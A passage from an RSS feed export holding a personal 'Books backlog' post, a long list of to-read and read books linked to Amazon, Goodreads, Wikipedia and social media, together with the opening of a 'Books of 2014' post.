&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.imdb.com/title/tt0243655/"&gt;Wet Hot American Summer&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 30 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/movie-backlog</guid></item><item><title>Books backlog</title><link>https://xenodium.com/books-backlog</link><description>&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://indieweb.social/@fgbjr/112761146059418752"&gt;Frank Bennett: &amp;quot;20 books that have had an impact on who you are. …&amp;quot; - Indiewe…&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://books.apple.com/us/book/id1551005489"&gt;‎Swift Secrets on Apple Books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Island-Aldous-Huxley/dp/0099477777"&gt;Island: Amazon.co.uk: Aldous Huxley: 9780099477778: Books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Hieroglyph-Stories-Visions-Better-Future-ebook/dp/B00H7LUR3K"&gt;Amazon.com: Hieroglyph: Stories and Visions for a Better Future eBook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Meredith-Silicon-David-Oliver-Doswell/dp/B088T2ZZG5"&gt;Meredith: The Future of Silicon Valley (fiction)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Working-Public-Making-Maintenance-Software-ebook/dp/B08BDGXVK9/ref=sr_1_1"&gt;Working in Public: The Making and Maintenance of Open Source Software eBook&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/No-More-Mr-Nice-Guy/dp/0762415339"&gt;No More Mr Nice Guy: A Proven Plan for Getting What You Want&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/AllegedlyMiri/status/1301302388939259905"&gt;Thread on Wask Factory (more titles)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Wasp_Factory"&gt;The Wasp Factory - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/mariskreizman/status/1305922866433724416"&gt;Book recommendation thread by Maris Kreizman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/dp/B0898YGR58"&gt;Extreme Privacy: What It Takes to Disappear: Bazzell, Michael: 9798643343707&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.theatlantic.com/health/archive/2011/10/you-are-not-so-smart-why-we-cant-tell-good-wine-from-bad/247240/"&gt;'You Are Not So Smart': Why We Can't Tell Good Wine From Bad - The Atlantic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://stephaniekelton.com/book/"&gt;The Deficit Myth - Stephanie Kelton&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://muratbuffalo.blogspot.com/2020/06/some-book-recommendations.html"&gt;Metadata: Forty book recommendations&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/list/show/89580.Solarpunk"&gt;Solarpunk (62 books)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://theanarchistlibrary.org/library/p-m-bolo-bolo"&gt;Bolo’bolo | The Anarchist Library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://archive.org/details/velvetmonkeywren00muir/page/260"&gt;The velvet monkey wrench : Muir, John, 1918-&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/list/show/131328.Solarpunk_Community_Discord_List"&gt;Solarpunk Community Discord List (108 books)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Launch-Internet-Millionaires-Anything-Paperback/dp/B00N4E4HQC/ref=sr_1_1"&gt;Launch: An Internet Millionaire's Secret Formula to Sell Almost anything online&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Psychology-Money-Timeless-lessons-happiness/dp/0857197681/"&gt;The Psychology of Money: The Psychology of Money: Timeless lessons on wealth, greed, and happiness&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://thequilltolive.com/recommendations-2/"&gt;Recommendations | The Quill to Live&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://fumbling.it/posts/my-2020-reading-list/"&gt;My 2020 Reading List · FumbLing&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/37903770-norse-mythology"&gt;Norse Mythology by Neil Gaiman&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/18216145-auto"&gt;Auto by David Wailing&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=22573204"&gt;Ask HN: Book recommendations for understanding financial systems? | Hacker News&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Andromeda_(novel)"&gt;Andromeda (novel) - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://medium.com/solarpunks/solarpunk-a-reference-guide-8bcf18871965"&gt;SOLARPUNK : A REFERENCE GUIDE - Solarpunks - Medium&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Final_Circle_of_Paradise"&gt;The Final Circle of Paradise - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/mariskreizman/status/1193898883153354752"&gt;Here's a visual of my 35 favorite books of the decade.&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=22559493"&gt;Cyberpunk: Then and Now | Hacker News&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Accelerate-Software-Performing-Technology-Organizations/dp/1942788339/ref=sr_1_1"&gt;Accelerate: The Science of Lean Software and Devops&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://hackernewsbooks.com/book/drive-the-surprising-truth-about-what-motivates-us/f10867f03ab0e2c362b3450119170a5a"&gt;Drive: The Surprising Truth About What Motivates Us | Hacker News Books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Pachinko_(novel)"&gt;Pachinko (novel) - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/twostraws/status/1205416072058490880"&gt;Paul Hudson on Twitter: Can you recommend some manga?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/dan_abramov/status/1190762799338790913"&gt;Dan Abramov: Please point me to a book about programming that isn't boring&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/gp/registry/wishlist/28JXH54TPGED7"&gt;John's Amazon wishlist&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Super-Thinking-Upgrade-Reasoning-Decisions-ebook/dp/B07FRXC3KN/ref=sr_1_2"&gt;Super Thinking: Upgrade Your Reasoning and Make Better Decisions with Mental Models&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/s?k=Giulia+Enders"&gt;Gut: the inside story of our body's most under-rated organ&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/evansandhoefner/status/1048426752404410368"&gt;Evan Sandhoefner on Twitter: Which books/papers/talks/etc have blown your mind / changed your worldview significantly?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Joy-Demand-Discovering-Happiness-Within/dp/0062378872/ref=sr_1_1"&gt;JOY ON DEMAND: The Art of Discovering the Happiness Within&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Minute-Meditation-Expanded-Quiet-Change/dp/0399173420/ref=sr_1_2"&gt;8 Minute Meditation Expanded : Quiet Your Mind. Change Your Life&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Mindfulness-Plain-English-20th-Anniversary/dp/0861719069/ref=sr_1_1"&gt;Mindfulness in Plain English: 20th Anniversary Edition: Amazon.co.uk&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/bettina_bosch/status/1164430628852572161"&gt;Bettina Bauer: What is your favorite Science Fiction novel? (twitter)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Altered-Traits-Science-Reveals-Meditation/dp/0399184384"&gt;Altered Traits: Science Reveals How Meditation Changes Your Mind, Brain, and Body&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Junk-Food-Japan-Addictive-Kurobuta/dp/1472919920"&gt;Junk Food Japan: Addictive Food from Kurobuta&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=20332455"&gt;Ask HN: Recommend one book I need to read this summer?&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} I am a cat (Soseki Natsume).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Thinking-Systems-Primer-Diana-Wright/dp/184407725X"&gt;Thinking in Systems: A Primer: Amazon.co.uk: Diana Wright, Donella H. Meadows: 9781844077250: Books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.lisperati.com/casting-spels-emacs/html/casting-spels-emacs-1.html"&gt;Casting SPELs in Lisp (Emacs edition)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://landoflisp.com/"&gt;Land of lisp&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/558738.Juggling_for_the_Complete_Klutz"&gt;Juggling for the Complete Klutz by John Cassidy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Positioning-Battle-Your-Al-Ries-ebook/"&gt;Positioning: The Battle for Your Mind&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Snow_Crash"&gt;Snow Crash - Wikipedia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.powells.com/book/-9781119404507"&gt;The Little Book of Common Sense Investing, Updated and Revised&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Little-LISPer-Third-Daniel-Friedman/dp/0023397632"&gt;The Little LISPer, Third Edition: 9780023397639: Computer Science Books @ Amazon.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Anatomy-Peace-Resolving-Heart-Conflict/dp/1626564310"&gt;The Anatomy of Peace: Resolving the Heart of Conflict&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://superfastthebook.com/"&gt;Superfast Lead at speed&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://ofone.co/"&gt;A company of one&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/27220736-shoe-dog"&gt;Shoe Dog: A Memoir by the Creator of NIKE&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://twitter.com/thegooddeath/status/1077325245940289537?s=12"&gt;Caitlin Doughty's top 8 books from 2018&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Global-Economy-Youve-Never-Seen-ebook/dp/B07GVT67HB/ref=tmm_kin_swatch_0?_encoding=UTF8&amp;amp;qid=1545746296&amp;amp;sr=8-1"&gt;Global Economy as you've never seen it&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Replay-Ken-Grimwood/dp/068816112X"&gt;Replay&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Siddhartha-Novel-Hermann-Hesse/dp/0553208845"&gt;Siddhartha: A Novel&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/Out_(novel)"&gt;Out (novel) by Natsuo Kirino&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.pitt.edu/~dash/japantales.html"&gt;Folklore, Folktales, and Fairy Tales from Japan: A Digital Library&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/15811545-a-tale-for-the-time-being"&gt;A Tale for the Time Being by Ruth Ozeki&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/dp/0571171044/ref=rdr_ext_tmb"&gt;Kitchen by Banan Yashimoto&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Overspent-American-Want-What-Dont/dp/0060977582/ref=sr_1_3/136-0317326-4068376?ie=UTF8&amp;amp;qid=1538250472&amp;amp;sr=8-3&amp;amp;keywords=juliet+schor&amp;amp;dpID=51%252BdTsv9XUL&amp;amp;preST=_SY291_BO1,204,203,200_QL40_&amp;amp;dpSrc=srch"&gt;The Overspent American: Why We Want What We Don't Need Paperback&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/13540802-enough"&gt;Enough by Patrick Rhone&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://hotair.tech/about/"&gt;Hot Air has a nice selection&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Domain-Driven-Design-Tackling-Complexity-Software/dp/0321125215"&gt;Domain-Driven Design: Tackling Complexity in the Heart of Software 1st Edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Seeing-like-State-Certain-Condition/dp/0300078153"&gt;Seeing like a State: How Certain Schemes to Improve the Human Condition Have Failed Paperback&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Conquest-Abundance-Abstraction-versus-Richness/dp/0226245349"&gt;Conquest of Abundance: A Tale of Abstraction versus the Richness of Being 2nd Edition&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://books.google.co.uk/books?id=a6sRdYLlmqIC&amp;amp;pg=PA6&amp;amp;lpg=PA6&amp;amp;redir_esc=y"&gt;The Wisdom of No Escape: And the Path of Loving-Kindness&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Anatomy-Peace-Resolving-Heart-Conflict/dp/1626564310"&gt;The Anatomy of Peace: Resolving the Heart of Conflict&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Millionaire_Next_Door"&gt;The Millionaire Next Door&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.co.uk/Refactoring-Improving-Existing-Addison-Wesley-Technology-ebook/dp/B007WTFWJ6/ref=sr_1_1?s=digital-text&amp;amp;ie=UTF8&amp;amp;qid=1515533074&amp;amp;sr=1-1&amp;amp;keywords=refactoring+fowler"&gt;Refactoring: Improving the Design of Existing Code&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=12896313"&gt;Touched by the Goddess: On Ramanujan (Hacker News)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.amazon.com/Kundalini-Untold-Story-Himalayan/dp/0994002793"&gt;Kundalini – An Untold Story: A Himalayan Mystic's Insight into the Power of Kundalini and Chakra Sadhana&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://news.ycombinator.com/item?id=12365693"&gt;Show HN: Top books mentioned in comments on Hacker News&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/The_Prime_of_Miss_Jean_Brodie_%2528novel%2529"&gt;The Prime of Miss Jean Brodie (novel)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/book/show/53849.Plan_B"&gt;Plan B&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/Deskbound-Standing-Up-Sitting-World/dp/1628600586"&gt;Deskbound&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/The-Way-Wanderlust-Writing-Travelers/dp/1609521056"&gt;The Way of Wanderlust: The Best Travel Writing of Don George (Travelers' Tales)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.m.wikipedia.org/wiki/We_%28novel%29"&gt;We (novel)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://ramiro.org/vis/hn-most-linked-books/"&gt;Top Books on Amazon Based on Links in Hacker News Comments (Hacker News)&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} I'm OK, You're OK (Thomas A. Harris).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Mistakes Were Made (but not by me) (Tavris/Aronson).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Crucial Conversations (Patterson, Kelly…).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} When Prophecy Fails (Festinger).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Influence (Robert Cialdini).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Seven Day Weekend (Ricardo Semler).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Elements of Style (various).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Man Who Sold the Eiffel Tower (various).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} How to talk to anyone (Leil Lowndes).&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.gutenberg.org/ebooks/1091?msg=welcome_stranger"&gt;On Heroes, Hero-Worship, and the Heroic in History by Thomas Carlyle&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/Light-Asia-Sir-Edwin-Arnold/dp/1491290447/ref=sr_1_1?s=books&amp;amp;ie=UTF8&amp;amp;qid=1451846351&amp;amp;sr=1-1&amp;amp;keywords=the+light+of+asia+by+sir+edwin+arnold"&gt;Edwin Sir Arnold's The Light of Asia&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/Song-Celestial-Bhagavad-Gita-From-Mahabharata/dp/1848301596"&gt;Edwin Sir Arnold's The Song Celestial or Bhagavad-Gita&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/great-curries-india-camellia-panjabi/dp/1904920357"&gt;50 great curries of india&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/gp/product/034549802X?ie%3DUTF8&amp;amp;tag%3Doffsitoftimfe-20&amp;amp;linkCode%3Das2&amp;amp;camp%3D1789&amp;amp;creative%3D390957&amp;amp;creativeASIN%3D034549802X"&gt;8 Week to optimum health&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/Guide-Good-Life-Ancient-Stoic/dp/0195374614"&gt;A Guide to the Good Life: The Ancient Art of Stoic Joy&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/Building-Microservices-Sam-Newman/dp/1491950358/ref%3Dsr_1_1?ie%3DUTF8&amp;amp;qid%3D1442603949&amp;amp;sr%3D8-1&amp;amp;keywords%3Dbuilding%2Bmicroservices"&gt;Building Microservices&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://ocw.mit.edu/ans7870/21f/21f.027/opium_wars_01/ow1_essay.pdf"&gt;First Opium War essay&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/full-catastrophe-living-wisdom-illness/dp/0739358588"&gt;Full catastrophe living&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://www.goodreads.com/"&gt;goodreads.com&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/gp/product/0061121088?ie%3DUTF8&amp;amp;tag%3Doffsitoftimfe-20&amp;amp;linkCode%3Das2&amp;amp;camp%3D1789&amp;amp;creative%3D390957&amp;amp;creativeASIN%3D0061121088"&gt;Leaving Microsoft to Change the world&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/gp/product/0140442103?ie%3DUTF8&amp;amp;tag%3Doffsitoftimfe-20&amp;amp;linkCode%3Das2&amp;amp;camp%3D1789&amp;amp;creative%3D390957&amp;amp;creativeASIN%3D0140442103"&gt;Letters from a stoic&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.goodreads.com/review/list/266149-michael?page=1&amp;amp;shelf=2014_read&amp;amp;view=covers"&gt;Michael's bookshelf&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.brainpickings.org/2014/12/29/neil-degrasse-tyson-reading-list/"&gt;Neil degrasse tyson's reading list&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://en.wikipedia.org/wiki/On_the_Road"&gt;On the Road, by Jack Kerouac&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="https://librivox.org/search?primary_key=0&amp;amp;search_category=title&amp;amp;search_page=1&amp;amp;search_form=get_results"&gt;Public domain audio books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/gp/product/1840001585/sr=8-1/qid=1419902519/ref=olp_product_details?ie=utf8&amp;amp;me=&amp;amp;qid=1419902519&amp;amp;sr=8-1"&gt;Royal horticultural society's organic Gardening&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.salmanrushdie.com/books/"&gt;Salman Rushdie books&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.com/Technopoly-The-Surrender-Culture-Technology/dp/0679745408"&gt;Technopoly: The Surrender of Culture to Technology&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} The Songlines, Bruce Chatwin.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/Walkers-Guide-Outdoor-Clues-Signs/dp/1444780085"&gt;The Walker's Guide to Outdoor Clues and Signs&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/Thing-Explainer-Complicated-Stuff-Simple/dp/1473620910"&gt;Thing Explainer: Complicated Stuff in Simple Words&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/madhur-jaffreys-ultimate-curry-bible/dp/0091874157/ref=sr_1_3?ie=utf8&amp;amp;qid=1419973767&amp;amp;sr=8-3&amp;amp;keywords=madhur+jaffrey+curry"&gt;Ultimate curry bible&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/gp/product/1840001585/sr=8-1/qid=1419902519/ref=olp_product_details?ie=utf8&amp;amp;me=&amp;amp;qid=1419902519&amp;amp;sr=8-1"&gt;Veg patch&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://www.amazon.co.uk/JavaScript-Developer-ECMAScript-OdeToCode-Programming-ebook/dp/B018D12X0C"&gt;What Every JavaScript Developer Should Know About ECMAScript 2015&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} &lt;a href="http://camdez.com/blog/2016/01/02/2016-reading-list/"&gt;Cameron Desautels's 2016 reading list&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[TODO]{.todo .TODO} Thinking Fast and Slow (Kahneman).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.goodreads.com/book/show/28209634-autonomous"&gt;Autonomous by Annalee Newitz&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.goodreads.com/book/show/12924261-this-book-is-full-of-spiders"&gt;This Book Is Full of Spiders by David Wong&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="https://www.amazon.com/Why-We-Sleep-Unlocking-Dreams/dp/1501144316"&gt;Why we sleep&lt;/a&gt; (&lt;a href="https://twitter.com/uberstuber/status/1138291707231887361?s=12"&gt;twitter outline&lt;/a&gt;).&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.amazon.com/Flow-Psychology-Experience-Perennial-Classics/dp/0061339202/"&gt;Flow: The Psychology of Optimal Experience&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.harukimurakami.com/library/"&gt;Haruki Murakami&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;[DONE]{.done .DONE} &lt;a href="http://www.amazon.com/gp/product/0812992180?ie%3DUTF8&amp;amp;tag%3Doffsitoftimfe-20&amp;amp;linkCode%3Das2&amp;amp;camp%3D1789&amp;amp;creative%3D390957&amp;amp;creativeASIN%3D0812992180"&gt;Vagabonding: An Uncommon Guide to the Art of Long-Term World Travel&lt;/a&gt;.&lt;/p&gt;</description><author>xenodium.com @alvaro</author><pubDate>Tue, 30 Dec 2014 02:00:00 GMT</pubDate><guid isPermaLink="true">https://xenodium.com/books-backlog</guid></item><item><title>Books of 2014</title><link>https://bastibe.de/2014-12-30-books-of-2014.html</link><description>&lt;h2&gt;&lt;a href="http://www.amazon.de/Ancillary-Justice-Imperial-Radch-English-ebook/dp/B00BU1DG1S/ref=sr_1_1?s=books-intl-de&amp;amp;ie=UTF8&amp;amp;qid=1419948379&amp;amp;sr=1-1&amp;amp;keywords=ancillary+justice"&gt;Ancillary Justice&lt;/a&gt; / &lt;a href="http://www.amazon.de/Ancillary-Sword-Imperial-Radch-English-ebook/dp/B00IA2E5VA/ref=sr_1_2?s=books-intl-de&amp;amp;ie=UTF8&amp;amp;qid=1419948379&amp;amp;sr=1-2&amp;amp;keywords=ancillary+justice"&gt;Ancillary Sword&lt;/a&gt;, by Ann Leckie&lt;/h2&gt;
